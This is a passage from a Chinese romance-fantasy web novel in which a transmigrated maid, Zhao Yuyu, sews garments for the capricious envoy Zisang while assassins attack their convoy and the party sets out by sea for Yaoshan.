他捏了捏赵玉屿的脸,“你若能做出这件衣裳,我就带你去。”
“大人说话算数!”
子桑绝非言而无信之人,有了他的承诺,赵玉屿信心十足,恳求宋解环换了班,好抓紧时间赶制衣服。
宋解环脸上的伤刚好,新长的头发刚冒尖,听到赵玉屿换班的请求当时眼泪就下来了,然而看着赵玉屿恳切的目光,最终哽咽着含泪答应。
当晚,她颤颤巍巍的为子桑拆卸头饰,屏气凝神,半晌才拆完,长舒一口气。
最繁琐的一步做完,剩下便方便许多,为子桑褪了外衫后,宋解环呈上面盆和茶杯,子桑漱口清面后便恭敬退下。
“等等。”
幽渺的声音一出,宋解环欲哭无泪,转过身小心翼翼道:“大人有何事吩咐?”
“玉儿今日做什么呢?”
宋解环毕恭毕敬回答:“玉儿今日一日都在房中闭门不出,绘图制衣。”
她正奇怪,不正是神使大人让玉儿制作衣物的吗,怎么今日都问了她好几遍了。
头顶传来子桑不咸不淡的声音:“下去吧。”
“是。”
出了门,宋解环长舒一口气,自觉度过一劫。
接下来这几日子桑都心不在焉,没怎么为难她,再加上赵玉屿特意给她准备了一些糕点和玩具让她用来讨好猴大它们,也算是战战兢兢地平安度过。
*
三日之后,奉仙宫门徐徐而开。
迎着青白天空中的第一道披霞晨光,一列华丽奢靡的车队自宫门内秩序井然缓缓而出。
四道并行,内道两队依旧是奉仙宫出行的青袍护卫开道,绵延数十米,其后八马拉驾环鹤莲柱鲛纱垂车辇,再后各色行囊箱裹,浩浩荡荡几里路。
车队外道被两队黑甲军护卫而行,严防死守,不留丝毫可乘之机。
与几个月前的回城百姓欢呼朝拜不同,这次道路两边跪拜相送的乃是官袍加身的各大朝臣。
德仁帝极其重视此次出使瑶山。虽未向众人言表真相,但却用最高礼待相送,光是路上吃穿用度的御赐之物都绵延几里路,临行前拉着子桑殷殷嘱托,衣食住行细细叮嘱,一腔热忱溢于言表,早已将一旁跪了三日,被人搀扶才能踉跄而起的太子宋承嵘抛诸九霄云外。
子桑含笑敷衍几句,望着宋承嵘阴沉苍白的面容,双手拢袖轻描淡写:“太子殿下为黎明苍生舍己受罚,原本今日应当是太子殿下的礼待,倒是让本尊得了巧。”
德仁帝一摆衣袖不以为意:“太子为国请命乃是他的职责所在。”
他上前一步,朝子桑笑着嘱咐,“神使,正事要紧,定要早去早回。到时,朕必定亲自为神使接风洗尘,再为神使盖一座通天宝塔,授昊天佑圣护世弘济无上天尊,才可配神使之功。”
子桑微微颔首,语气未见热忱:“多谢地上皇。”
第29章
车辇浩浩荡荡出了帝都,一路朝北绵延数十里,越过殿宇高楼,自云层纵深望去,在广袤天空下犹如井然迁移的黑白蚁群。
“哈”
赵玉屿坐在马车上打了个哈欠。
子桑瞧着她她硕大的黑眼圈,难免嘲笑:“不知道的还以为你是白罴转世呢。”
“哈哈”
赵玉屿又打了个哈欠,这次含了些无奈苦笑。
这三日,她将自己关在房间里画图,又叫上几个手艺精巧的匠人一起打版、制衣、拆了又改,熬了整整三个大夜,紧赶紧终于在出发前将衣服赶制出来。
然而衣服也只是大致成型,细节还需要她亲自手绣,赶在到达瑶山之前将整衣和配套的服饰全部完成。
她眯着眼,抱着衣服神情恍惚地又绣了几针,随着马车摇晃打了个盹儿,歪头就朝一旁倒去,倒在半路,一个激灵又醒了过来,继续凑到衣服前左歪右倒又绣了一针。
瞧着她那被吸干精气半死不活的样子,子桑嫌弃地将华服扯到一边丢在角落里:“你这副鬼样子,莫把我的衣服绣坏了。”
赵玉屿挣扎着要去捞衣服:“我还能绣”
青葱如白玉的指尖点在她的额头,将她朝一旁推去。
并未使太大力气,但却将早已精神恍惚的赵玉屿推倒在车榻上。
身下是柔软绵细的羊绒厚毯,倒在毯子上的一瞬,恍恍惚惚间似是听到一声旷远处传来的幽幽轻语。
“睡吧。”
这声音仿佛沾染了迷醉薄烟,轻悠悠飘入赵玉屿的耳中,一瞬间卸下了所有防备和压力,陷入黑甜梦乡,如坠云雾,似梦似幻,不知真假。
长风拂过飒飒竹林,尖锐刺耳的破风声凌冽响起,箭雨如潮,从碧涛滚滚的竹林飞涌而出,直指正中间的宝马香车。
随行侍卫连忙抽
剑阻挡,黑甲军并未出战,而是顿时用铁盾覆盖收缩成型,将马车层层护卫其中,不留丝毫缝隙。
箭雨既罢,似是静谧片刻,就在众人以为袭击已退时,又一阵箭雨飞至。然而此次箭雨却是锋芒散射随行众人。
竹海之上,一跃而出几十个青衣刺客,随箭雨掩护飞扑而来,落地即杀,刀锋凌厉狠辣,招招毙命不留活口。
又一青衣刺客直踏铁盾飞至车顶,手腕翻转间长刀直竖,干净利落朝马车刺下。
黑甲军瞬间散开,反手铁盾掷向刺客,正中胸口,将其撞下车顶,重重摔落在地。
就在黑甲军上前控制住他的那刻,刺客已口吐黑血,果断自行了断。
其他刺客见偷袭不成,不再恋战。犹如来时无影,当即抽身而去。
竹叶潇潇而落,徒留遍地尸体。
随行的侍从还躲在角落瑟瑟发抖,惶恐刺客周而复返。
黑甲军清点人数,领头一人抱拳垂首朝马车铿锵有力道:“禀报神使,刺客已退,被伏五人皆服毒自尽。属下无能,让神使受惊。”
出乎意料的,马车内并未有愤怒或劫后余生的庆幸,而是传来一阵似有若无的嘲弄口吻。
“五个?看来副将不止无能,算术也不太好。”
刘副将听到这话一怔,很是不解。
长风而过,竹叶发出飒飒微响,忽而,脑中如惊雷乍响,他猛地转头望向竹林。
幽深昏暗的竹林似有窸窸窣窣的细响,那细响渐渐连成一片,层层叠叠,声如鬼魅,像是午夜迷睡时,顺着床榻爬上脊梁的一只鬼爪,冰凉战栗。
刘副将不知为何感到后背一阵发凉,常年战场厮杀的肃杀血腥煞气并未抵消心中的惊寒,一滴冷汗顺着脊梁滑落,留下的细细痕迹如同鬼爪爬痕,又如粼粼蛇斑。
他抬起脚,拔出长刀缓缓靠近竹林。
随着他的靠近,那细响愈加得快,而后便渐渐微弱下去,没了声息。
刘副将在竹林中走了不到百步,便被眼前的场景惊愕在地。昏暗竹林中,细碎阳光的照耀下,满地无声的青衣刺客,姿态各异倒地不起。
他们身上未见任何刀痕血窟,却已成死尸。
刘副将用长刀拨开一个尸体,唇色深紫,眼圈青黑,五指皆黑,脖颈处两个细牙深窟已经凝出紫血。
林中五十五具尸身,皆是一击毙命,中毒而死。
忽见一青衣刺客的衣襟似有起伏,刘副将凑近一瞧,见衣领处钻出一条碧青小蛇,刘副将见状连忙挥刀要砍,那长蛇却身形鬼魅躲过一击,瞬间扭身望向他,浑身鳞片炸起,长身如弓,双眼碧青似幽幽鬼火,长信嘶嘶与他对峙。
刘副将攥紧长刀,怒目而睁,却已是满头满脑的细密冷汗。
这竹叶青毒性极强,速度快如闪电,若被咬中,须臾之间便暴毙而亡。
然而下一刻,那青蛇冲他长牙挑衅之后,扭身朝竹林深处游去。
蛇腹划过满地竹叶发出窸窸窣窣的碎响,像是爬过刘副将的脖颈一般,缠绕住,他似乎都能感觉到那冰冷的鳞片划过脖颈的触感,想象到长信刺入肌肤的刺痛窒息,顿时寒毛耸立,脖颈处止不住的发麻发凉。
刘副将抬头望向高耸入云的竹林,眩晕的日环下,竹叶漫天飘落,窸窸窣窣的细响和风拨竹叶的飒飒声响纠缠在一起,一层又一层环绕在周身,像是要将他套牢,缠绕,窒息,幽幽暗处恍惚点燃了无数双鬼火,阴暗冰冷的注视着他,只待入阱猎物松懈时刻的致命一击。
他下意识攥紧长刀,快步朝竹林外逃去。
睡梦中的赵玉屿自然不知晓这些事情。
她饱食酣睡,一觉醒来时心满意足地蹬了蹬腿伸个懒腰。
车里此时只有她一个人,尚未制作完成的衣裳还如昨日一般堆在角落里。
她坐起身子,瞧见从身上落下的羊绒毛毯,忍不住笑了笑,子桑这家伙,还真是一如既往的嘴硬心软。
推开马车厢门,车外面一片雾蒙蒙的清蓝,草地上凝聚的湿漉漉的晨露滚落,混着青草泥土的清香糅杂在炊烟袅袅的烟火气中,格外清新。
车队驻扎在一片空旷的草地上,众人已经在有条不紊的做活。
有人在收拾行李,有人在喂马草,有人在烧火做早膳。
不远处的地上满满摆了一溜排的炉灶,小厮们卷袖扎腰,用风箱扇着火,橙红色火苗蹿出炉子呼呼的往外冒,在蓝阴阴的清晨很是鲜亮扎眼。
子桑那祖宗不是能受苦的主,便是荒郊野外,也得吃上精致热口的饭食。
厨子们忙活着将刚钓上来的虾拨壳剁泥,精致剔透的水晶虾饺放入蒸笼里,蒸腾的白气顺着蒸笼边缘一圈一圈的冒出来,缓飘飘地上扬,与湿润的树木的青晕糅合在一块儿,消散在泛起鱼肚白的天际。
赵玉屿捏了些牙粉,朝队伍前边走了些,蹲在小溪旁掬起一捧水漱口,又洗了把脸,才觉得清爽些。
“又不是没有热水,在这做什么?”
听到这熟悉的嫌弃声音,赵玉屿掏出帕子擦了擦脸,回眸笑道:“这水凉快些,让人清醒。荒郊野外的热水毕竟稀罕,柴火烧起来又麻烦,还得供着您使用呢。”
子桑双手拢袖,居高临下轻啧一声:“这河水看似清澈,实则污秽极多。若是瞧不见的虫卵蛇卵什么的,喝到肚子里孵化,到时候满肚子的蟑螂虫蛇,撑破了肚皮钻出来,肠子满地,啧啧啧,可如何是好。”
赵玉屿手一抖,被他说得脸色煞白,挤出一个难看的笑脸:“应当应该不会吧……”
第30章
一想到自己可能要成为某种虫子的老巢,赵玉屿欲哭无泪,忍不住地犯恶心,用手指扣嗓子眼儿干呕。
见她发绿的小脸,子桑心情大好,仰头朗声笑着离开。
他越笑,赵玉屿心里越发慌,唤出系统仔仔细细检查身体好几遍,确保没有任何异常才放下心来。
嘟囔着嘴跟在子桑身后,经过炉灶时被热腾腾的熏人香气缠住,忍不住驻留片刻。
她昨日倒头就睡,晚上也没用膳,今早刚起来肚子就已咕咕直叫。
“早膳做好了吗?”
忙活的厨子一边掀开笼子查看一边拱手回道:“快好了快好了,至多一炷香就能吃了。”
赵玉屿见他面色苍白如纸,眼下青黛浓郁,有些疑惑:“王厨,您身体不舒服吗,怎么脸色这么难看,若是撑不住了就让旁人接手就行了,身体要紧,好好休息啊。”
王厨连忙摆手笑道:“没有没有,就是昨日受了些惊吓晚上没睡好,好歹留着一条命也没受什么伤,已经是大难不死了!”
惊吓?
赵玉屿一脸茫然,左右瞧了一圈随行众人,才发现似乎是少了些人,有些人的胳膊腿上还扎了白色绷带,一瘸一拐的看起来受了伤。
只是因为随行人数众多,大多又面生,她方才未曾留意。
“出什么事了吗?”
王厨瞧着她一脸惊讶:“玉儿姑娘您不知道昨日发生了什么?”
这一反问反倒让赵玉屿有些尴尬和心虚:“我昨天太困,睡着了”
“”
王厨望向她的目光从惊愕转而变成钦佩,甚至忍不住竖起大拇指以一种难以言喻的神色夸赞道:“那等场景也能睡着,玉儿姑娘当真是英雄出少年”
赵玉屿:“”
听着不像好话啊。
*
回到马车上,赵玉屿沉默地坐在角落里,一声不吭地拿起衣服绣花。
子桑靠着腰枕懒散倦怠地翻着书,耳朵动了动却听不到声音,眼皮从书中抬起瞧了她一眼,见她难得的沉静,反倒有些好奇:“怎么不说话。”
平日里赵玉屿总是叽叽喳喳说个不停,不是拍马屁就是拍马屁,像是嘴上长了个铜碟喳喳直响,咯咯笑起来恍若银铃悦耳,即便不说话也是殷勤狗腿地忙活来忙活去,干什么都起劲,专注又有活力,清炯炯的杏眼里溢出生机,一个人都能将日子过得热热闹闹。
同现在这副沉默寡言,眼中无神的神色俨然两样。
赵玉屿摇了摇头没有说话,又绣了一针,叹了口气,索性放下
手中的衣服哀叹道。
“我就是觉得自己太没用了。”
这下轮到子桑讶然,赵玉屿可不像是会自怨自艾的人,他眉梢微挑,问道:“此话怎讲?”
赵玉屿心里苦啊,好不容易赶上发生意外,还是她心心念念已久的刺杀,这正是英雄救美的大好时机,增进感情的绝佳机会,结果,她!居!然!睡!着!了!
而且睡得那叫一个香一个甜,外面咵咵乱杀,刀光箭雨满天飞,她居然能睡得跟个死猪一样,这是怎样境界的人才。
赵玉屿都佩服自己,就这么错过一个绝佳的刷好感度的机会。
可惜啊,痛心啊!
她不中用啊!
想到这里,赵玉屿又忍不住捂脸哀嚎一声。
子桑:“”
当然,赵玉屿必然是不能让子桑知道她的真心想法,只得假装捂脸抽泣,小声难过道:“小女就是觉得,昨日遇到危险的时候,小女居然在睡觉,没能保护神使大人,失职失责,真是太没用了若是神使大人出了什么意外,小女万死难辞其咎。”
子桑见她居然为这种事情难过,有些无语凝噎,又拿起书淡然道:“我还没沦落到需要你来救的境地。”
赵玉屿见他嫌弃,忍不住嘟了嘟嘴:“虽说小女不会武功,但那也是人家对神使大人您的一片忠心嘛。”
“行了,你若真是忠心无二,便在上船前将衣服制好。”
赵玉屿不解:“上船?”
子桑款款而言:“等到了徐淤渡,咱们便乘船出海,走海路去瑶山。”
“传闻瑶山常年冰雪覆盖,不是在北面众山之巅吗?为什么要绕道走海路呢?”
见她困惑,子桑面上露出微渺的笑意:“海路虽慢,却更稳妥些。”
稳妥?
赵玉屿思索片刻,自以为了然。
陆路地势复杂,既然是仙山,那必定要翻山越岭、经过丛林毒障,盘算下来不一定比海路所费时间少。
而且敌暗我明,若是夜晚困顿、倦怠松懈之际,很容易遭遇埋伏袭击,人员难免不断消耗。
但若是走海路,浩浩茫茫,空旷可见天际,别说伏击,便是在广袤海域追得上船也是不易。
只要备上足量弓箭的武器,在海面上敌人想要靠近船只难如登天,更别说黑甲军层层看守下靠近子桑了。
接下来的日子里,倒没有太多的稀罕事。
路上倒是依旧有几批刺客袭击,一开始赵玉屿暗搓搓的紧张又激动,瞅准时机就想表现自己。
结果这些刺客真是给他机会都不中用!没一次能杀到子桑面前!
不是被黑甲军捕获,就是有各种意外发生。
有一次子桑嫌坐马车太累,停在山里休整片刻,搬了把躺椅靠在水边晒太阳,周围除了赵玉屿伺候着就没有旁人。
那地方四面皆山,树木成林,多好的刺杀机会。
只要刺客一来,唯有她能一马当先拦在子桑前面护卫,这好感度不就来了吗!
果不其然,一群刺客冲了出来同黑甲军混战良久,一个刺客眼见着好不容易都要冲破重重阻碍杀到子桑面前了,赵玉屿大喝一声“神使大人小心!”旋即张开胳膊拦在前面。
然后下一秒,眼见着那刺客被白鹤给叼走了。
对,没错,就在子桑两米开外,“唰”得一下就被叼走了。
赵玉屿人都麻了。
从此以后断绝英雄救美的心思,安心埋头于制衣之中。甚至再听到黑甲军副将扯破嗓子高呼“护驾——有刺客——”的时候,她已经做到心如止水,眼皮都不抬一下。
呵呵,就这水平还做刺客,废物。
让她头疼的反而是子桑,这丫小祖宗近日来心情甚好,时不时兴起对衣服做出些点评,她又得重新拆了再改,翻来覆去的折腾,在对甲方无理要求的咬牙切齿和打工人悲愤的狗腿相迎中,还算安然的度过了月余。
等到一月之后一行人到达徐淤渡,赵玉屿也终于将手中的衣服制作完成。
海边小镇上,巨大殷红的夕阳一点一点不慌不忙挂落在粼粼碎金的渡口桅杆的灯笼上,将灯笼映照出橘红的光晕,马车缓缓停在徐淤渡的客栈前。
“呼——”
赵玉屿跳下马车,松动了下肩膀,尽情呼吸新鲜空气。
一连坐了一个月的马车,总算是能休息会了。
这镇子不大,沿海而建,抬眼望去便可看到海天交际处被夕阳侵蚀得白烂刺眼的海浪在海面层层翻飞,将倒映在海面的融金落日击打成哗浪浪的碎金。
海浪的上空,一群海鸥挥动翅膀,从巨大白灼的橘日中连成一线,伴着潮汐嗡嗡涌涌地朝岸边飞来。
比起绿水青山的舒柔婉约、水田麦地的安然恬静,大海有种额外的寥廓淡远,长风吹过八百里海面,只是顺带着拂去眉上心头的愁虑,风不在乎,海也不在乎。
30-40
第31章
很快便要入夜,明日一早才能出船。到了小镇上自然是要先入住。
如子桑这般矜贵的懒人,自然是不会自己主动收拾房间的,虽然已有随从先行一步将小镇的客栈清了场,审查一番后布置好房间,但赵玉屿还是亲力亲为又收拾了一遍,唯恐不合护卫们不了解子桑的习性安排的不合适,到时候又惹得小祖宗生气折腾人。
被子要换成蚕丝的,床铺得是细羊绒的,床帘要银鳞鲛纱的,隔帘需得青玉珠,屏风得是银底鎏边美人芭蕉叶蚕丝织,座椅务必小叶紫檀香木,更别提杯盏碗筷,需得上等雕花银制,就连马桶都得是银盆,还要在屋中的角角落落摆好各色动物手办,狐狸、白鹤、猴子、犬猫猪羊样样不能少,不然小祖宗没有回家的感觉。
处理好一切后,日头已经完全落入海底,周遭光线黯淡,雾蓝蓝的天空和紫阴阴的海面将空气镀上一层淡淡的咸腥味。
赵玉屿细细点上梨花月麟香,又在盛好热水的浴桶中撒上各色花瓣,滴上几滴玫瑰花精油,才下了楼恭请子桑下车。
一打开车厢门,海风的冷腥味扑鼻而来,子桑眉头微拧,正待发作,迎面而来的女儿袖里香掩去异味,让他眉头顿时舒展。
赵玉屿笑吟吟的扶着子桑下了车,略抬衣袖虚掩在子桑面前,既款款遮住了他的面容,又掩去了那股略微不适的味道。
赵玉屿对自己的体贴周到很是满意!
打工人第一要义,就是要万事合上级心意,先上级一步将一切琐事考虑周全。
客栈内已经被清场,连掌柜的都被“请”了出去,只留下他们自己人。
黑甲军重重把守,将客栈上下里外围得密不透风,好在小镇上人本也不多,入夜便都关门闭户,没有引起什么轰动。
子桑顺着铺好鼬鼠皮毯的楼梯上了二楼,推开门,月麟香的味道萦绕周身,褪淡了周身的咸腥味。
沐浴的热水已经提前备好,舟车劳顿难免倦怠,子桑进了房间便顿时踢掉靴子,踩着温软的绒毯赤脚走到屏风后,一边走一边肆无忌惮地褪去衣衫,滑入水中时已经□□。
热腾腾的水汽弥漫,将屋中洇出蒙蒙的隐白,云蒸雾绕,屏风上的美人蕉若隐若现,如临仙境。
赵玉屿瞧着他光洁的后背、圆润的屁股和修长的双腿,摸了摸鼻子,还好没流鼻血。
经过上次在温泉旁猝不及防的视觉冲击,她心下倒也有些准备,对于子桑的随性没那么惊讶愕然。
这次出行猴大原本是跟着的,但许是性子顽劣,瞧见沿途山水兴奋不已,子桑也不囚着,便放了它出去玩,十天半个月才回来一次。
赵玉屿原本还担心猴大会贪玩跟丢,子桑倒是丝毫不担
心,只道它自己会找来。
只是如今猴大不在,子桑又不喜旁人靠近,他的贴身事物便一应由赵玉屿处理。
这些日子两人同车而眠,成天挨在一起,无事便闲聊家常,倒比往日更亲近些。
屏风里面小祖宗舒舒服服的泡着热水澡,屏风外面赵玉屿勤勤恳恳的捡起一件件衣物放在篓子里,抱出去差人送去清洗干净,随即便马不停蹄地下楼吩咐厨子们尽快备好晚膳,免得子桑泡完澡饿了发脾气。
随后,她又细细再整理好一遍桌椅床铺,确保平整无褶皱,紧接着又拿剪刀绞了一遍屋中的烛花,让光线更亮堂些,将子桑寻日里爱看的书取出放在小榻上,供他睡前阅读。
巡视一圈,见万事稳妥,赵玉屿才拿出针线,坐在小榻上继续缝衣裳。
蒸腾水汽中,子桑双臂支着浴桶边缘仰着头阖目休憩。许是热气暖人,洇入心地的舒适让他有些困倦,不知觉中进入梦乡。思绪渐渐飞入云端,忽而又从云端坠落,一瞬间,白雾骤散,周遭是伸手不见五指的幽黑。
黑,四周无一丝光亮,只有隐隐约约尖锐刺耳的破空声,像是利箭直指眉心,旋即是一声声震耳欲聋的轰鸣。
他记得,那是烟花绽开的声音。
一声,一声,又一声,烟花在黑不见底的天空陡然炸开,孔雀开屏般映射在厚重晶莹的冰面上,绽放出五彩斑斓的烂醉颜色,如同泼洒在镜子上的胭脂水,流动而扭曲,渐渐的,烟花在人群潮起的欢呼声中,斑斓褪去,只余下星星点点的细碎金光,像是黎明时分乍响的灯苗,尽兴挥洒最后的余温。
可是子桑的眼前没有烟花,没有火光,没有人群,他拥有的只是一片漆黑。
黑,深不见底的黑,和咸腥味的水。
就连水中,他也看不到一丝光影的波动。
他的世界里只有无尽的黑暗,像是一只在阴沟里蠕动的臭虫,见不得一丝光亮。
倏忽间,随着一声震天动地的巨响,天地剧烈颤动,黑暗的边缘被轰隆隆的猎猎火焰撕开一道裂口,火焰从裂缝中窜天而出,将周遭的一切黑暗燃烧为齑粉。
火焰越来越大,越来越大,最终似滚球般势不可挡地向他冲来,巨大的热浪吞噬着周身的空气,将整个黑色的地平线訇訇掀起。
他被灼热的白光刺痛双眼,肌肤被热浪灼伤却无处可逃,只能竭尽全力蜷缩在角落瑟瑟发抖,却又忍不住强睁开双眼,忍受着双眼被灼伤的剧痛,竭力望向这黑暗世界中唯一的光亮,在生命的最后一刻,以渴求的欲望将一切色彩纳入眼底。
他看到,火球的中心亮得惊人,白如昼光如明镜,将天地照得透亮。
可那亮白的中心似乎有一点黑影,在无暇的光洁中显得格格不入,甚是扎眼。
黑点在亮光中越来越大,缓缓向他靠近,在扭曲蒸腾的热浪中化为人形毫无征兆的出现在他面前。
万籁俱静中,他看到了自己。
“啪嗒——”
蒸腾热气凝聚的水滴不堪重负的从屋檐滴落,如冰凉地箭羽落在眉心,骤然打散一切的惶骇。
子桑睫毛轻颤,濛濛地睁开双眼,不着边际地望向屋檐,眼神空洞,茫然无措。
暖黄的烛光透过飘渺的水汽一扭一扭跳跃在他的脸上,细弱的灯苗影影绰绰、重重叠叠,将他的尚未褪去少年气的脸笼罩在光与影中,精致却无生气,像是一具腐烂多年的遗骸,唯有微弱起伏的胸膛印证着他的存在。
雾气之外,隐约有歌声娓娓传来,舒缓飘渺,像是酷暑炎夏的一抹习习凉风,荒无人烟的蔓野中一星微亮灯火,让被梦魇缠绕惶惶窒息的人舒呼卸了一口气,得以求生。
子桑似乎用尽全身的力气才稍稍偏头望去,望到水汽氤氲的屏风里。
莹润桑丝的屏风后,少女疏懒靠坐在小榻上,手持针线灵活的翻动衣料,她低垂着修长的脖颈,白皙的手指穿针引线,指尖翘如兰花,绰约身姿同屏风上的美人蕉融为一体,在柔焦暖光中恍若画中人。
她轻哼的曲调子桑未曾听过,许是民间童谣,轻飘飘的悠扬婉转,带着丝少女灵动的雀跃和骄傲。
一听便能想象到屏风后那人的神态,未见得有寻常大家闺秀的端庄秀丽、泰然稳重,甚至有时候唱到尽兴处还会边绣花边荡起双腿,俨然一副乐在其中的欢愉,然而她神色间的活泼灵动,眼溢璨星却无人可比。
子桑想要唤她,但张了张口,最终没有发出声音,只静静地听着,静静地望着,望得很深,似乎一眼望到了深海里。
第32章
赵玉屿穿针引线,手指翻转间打了个结,利落地咬掉线头。
“在绣什么?”
惫懒的声音传来,抬头望去,就见子桑从屏风后转出。
他只随意套了件白色衬衣,长发未干,黏湿湿的垂在身后的衣服上,水滴顺着缕缕光润的青丝打湿脖颈,再一路向下,略过微敞的衣领滑过锁骨,没入烛火投射的微晃暗影之中,浓郁的月麟香熏出一团暧昧。
衣肩后背已被湿发打湿成一团一团,像是盛开在素衣上的暗银团花,水波荡漾着一圈圈向外扩去,渐渐连成一片,影影绰绰倒映出银衣下细滑起伏的肌肉线条。
赵玉屿连忙放下手中的针线,起身用长巾裹住他的头发细细擦拭。
子桑侧坐在小榻上,低头拿起她方才绣的衣裳,却见并非是给他做的那件衣裳,而是个孩子大小的戏服,红衣黄裙黑金腰带,外套金色的肩袖盔甲,衣襟处绑了个红色的蝴蝶结,瞧着格外神气,却必定不是给他的。
赵玉屿见他翻来覆去的看,嘿嘿一笑:“这是给猴大做的。上次不是吃了它的香蕉嘛,我就想着给它做件衣裳赔礼道歉。”
齐天大圣装,虽说猴大胖了点,但也是只猴子,跟猴哥算得上是沾亲带故。
想到猴大穿上这衣服的模样,子桑嘴角忍不住含了丝笑,放下衣服:“你倒是摸透了它的品味。”
猴大最喜欢鲜亮的颜色,这身衣服穿上威风凛凛,它必定喜欢。
赵玉屿见他夸赞,眼角眉梢都扬起,略带得意:“我如今同猴大也算是老相识了,自然知晓。”
她顿了顿,似乎想到什么,忽而语调低沉:“神使大人,其实小女心中一直有一个问题,不知当不当问?”
子桑斜了她一眼:“你还有不敢问的话?”
赵玉屿想做什么,就算他一开始不同意,她也会撒娇卖痴自谋出路,总是想着法子做成,可没见她有丝毫的胆怯。
子桑也随着她心意,毕竟日子无聊,有这么个闹腾的活宝在,同猴大那几个鬼精总能一起整出些新花样玩,瞧着也热闹。
赵玉屿嘿嘿一笑,为他将擦干的长发盘起松松插上发簪,坐在小榻上一边给他捏肩一边问道:“其实也没什么,就是有一件事着实有些好奇。神使大人,您当初为什么要罚付姑娘去后山静闭思过啊?”
“谁?”
子桑眉头微蹙,显然已经忘记了她口中的人,又或者从未记住过。
赵玉屿连忙回道:“付楚袅付姑娘,就是之前同小女和宋姐姐一道被选为内殿侍女的那个姑娘,当初神使大人您第一个选中的就是她。可是她只伺候了您一晚,第二日人就不见了,李嬷嬷说她被罚到后山静闭思过。”
听到这话,子桑思索片刻,才恍然想起似乎有这么一个人,轻笑一声:“李嬷嬷是这么说的?”
赵玉屿点点头:“是,不过猴大说她死了,所以小女一直好奇,却又不敢多问。”
子桑望向她,似是揶揄玩味:“那怎么现在敢问了。”
赵玉屿一脸正色吹了一通彩虹屁:“因为神使大人恩泽万物,宽厚仁慈,心怀大义,兼济天下,品行之高洁如巍巍青松,令人仰止,胸怀之宽广如浩浩东水从流入海,若非大错从不轻易惩治下属,连小女这般笨手笨脚之人都能容忍,放在身边重用,仁厚之心
日月可照,令小女感动不已,潸然泪下”
论是子桑如此自恋的人被她吹捧得也有些无语凝噎,他自己是什么样的性子他还是有自知之明的。
宽厚仁慈谈不上,心怀大义更无从谈起。
子桑揉了揉耳朵,漫不经心道:“闭嘴。”
“哦。”
“倒也没李嬷嬷说得那般麻烦。”
耳边没了彩虹屁,子桑仰头朝后靠去,舒舒服服的躺在赵玉屿的大腿上,抬眼波澜不惊地望向她:“她想勾引我,我嫌烦就杀了她。”
赵玉屿:“”
漫不经心的一句话,却让本就对子桑心怀不轨的赵玉屿心惊胆寒。
这,这是暗示吗?这是威胁吗?
这是杀鸡儆猴告诉她不要有歪心思吧!
感受到身下肌肤的僵硬,子桑歪了歪头抬眼上瞟,有些疑惑:“怎么了?”
赵玉屿挤出一个难看的笑容:“许,许是付楚袅见神使大人仙人之姿,所以对神使大人您心生爱慕,一时昏了头才会有越矩之处,的确该罚,但,但也罪不至死吧”
她越说越虚,毕竟子桑是神使,对于信奉神灵的封建国度来说,在神使面前有任何不妥的行为,就算是太子,也是犯了亵渎神明的重罪,罪至极刑,就算凌迟处死,众人也只会痛快叫好。
侍奉神使这种事情,只可意会不可言传,虽然各家勋贵私底下都想往子桑的床榻上塞人,却是永远不能摆在台面上说的大忌。
尤其对于子桑这种极度洁癖自恋狂而言,思想上被亵渎就如同被泼了一身的污秽,更别说行勾引之实了。
果不其然,子桑神色嫌恶之情溢于言表:“肮脏龌龊的东西,自然不能留存于世。”
赵玉屿:“QAQ”
她一阵后怕,还好还好,她虽然竭力讨好子桑,却没做出任何越矩之事,否则被喂鱼的就是她了,尸骨无存,就算是一百颗回魂丹也不够用啊。
看来这是子桑的底线。
赵玉屿心中暗暗发誓,今后一定要小心谨慎,端正态度,以攻略目标为己任,手段干净,内心清白,绝对不能有任何越界之举,绝对不能起丝毫异样心思,力争用真心感动子桑,提高子桑的幸福感、获得感、满足感,从而刷满好感度,完成攻略目标。
赵玉屿给自己打气立下鸿鹄壮志,既然不能以恋人的身份攻略他,那就只能以无微不至的母爱感化他!
反正只要好感度满了就行,排除一个错误方式,总还有其他途径。
如此,赵玉屿望向子桑的目光顿时转化为满眼慈爱。
子桑:?
总感觉她看我的眼神有些诡异。
翌日,天空随着海鸥的鸣叫渐渐褪去湿黑,潮汐拍打海岸送来微咸的海风,灰蓝的天空隐隐发白,像褪色的旧衣衫。
太阳在海岸线冒了点尖儿,橘黄的旭日将海天一线侵蚀成暖白,让原本冷清的大海多了丝柔情的暧昧。
小镇平日里清闲的码头已经满是人流,巍巍巨船昨夜已行至徐淤渡等候在码头。
赵玉屿抬头仰望着这艘五层楼高的巨轮,四十多丈的长度,大小规模堪比航空母舰,这不可能是临时能运来的寻常商船,必定是早已备好的,看来子桑一开始就打算出海。
船只的底层是划桨的苦力和劳工,随行侍从皆住于二层,三层是青使护卫,四层是黑甲军的住处,五层只有一个笼统的大房间,唯子桑一人居住。
除了赵玉屿和平日里侍奉子桑的神侍,其他人想要上顶楼需得通过层层关卡盘查,整艘船各处皆有黑甲军和护卫巡逻,可谓坚如铁盾。
八叠六桅白帆扬风拉起,巨船在舱底船工齐心的吆喝声中浩浩荡荡驶向大海。
子桑不喜海腥味,上了船便窝在房间里未曾踏出过房门,赵玉屿却是激动如雀鸟。
她平生第一次坐这么大的船,就是放到现代也堪称豪华游轮。窜上窜下逛了半日,兴奋地跑到甲板上呼吸新鲜空气。
她喜欢海风送来的淡咸清鲜的气息,像是呼吸间随着阳光穿透碧粼幽深的海面,目醉神驰贪婪观赏着璀璨珊瑚间鱼群嬉戏的光怪陆离的世界。
然而再强烈的新鲜感在看了几日无边无际的空旷海面后被磨灭一空。
大海不比陆地,虽然同样是赶路,但好歹能脚踩在土地上,看看一路不同风景,有花香,有鸟鸣,有翩飞而过的蝴蝶和落叶。
可大海上只有水,一望无垠的灰绿的水,像是古井里潮绿的青苔,沉静、倦怠,波澜不惊的度过一日又一日。唯有阳光普照时,才能在海面描摹上不同的色彩,而寻常日子里只有灰绿色。
赵玉屿坐在甲板的船舷边,无聊的荡着双脚,一眼望穿天际的海面,就像是一眼望得到头的生活。
她有些嫌弃却又贪恋这种生活,无聊是真的无聊,可看似平静安澜的天空往往酝酿暴雨,平淡而朴实的日子总是暗藏风波。
赵玉屿心中隐隐有些不安,却又无从说起,只得归为一声叹息。
许是之前刺杀太多,如今太过安澜反倒有些不自在,她只得如此安慰自己。
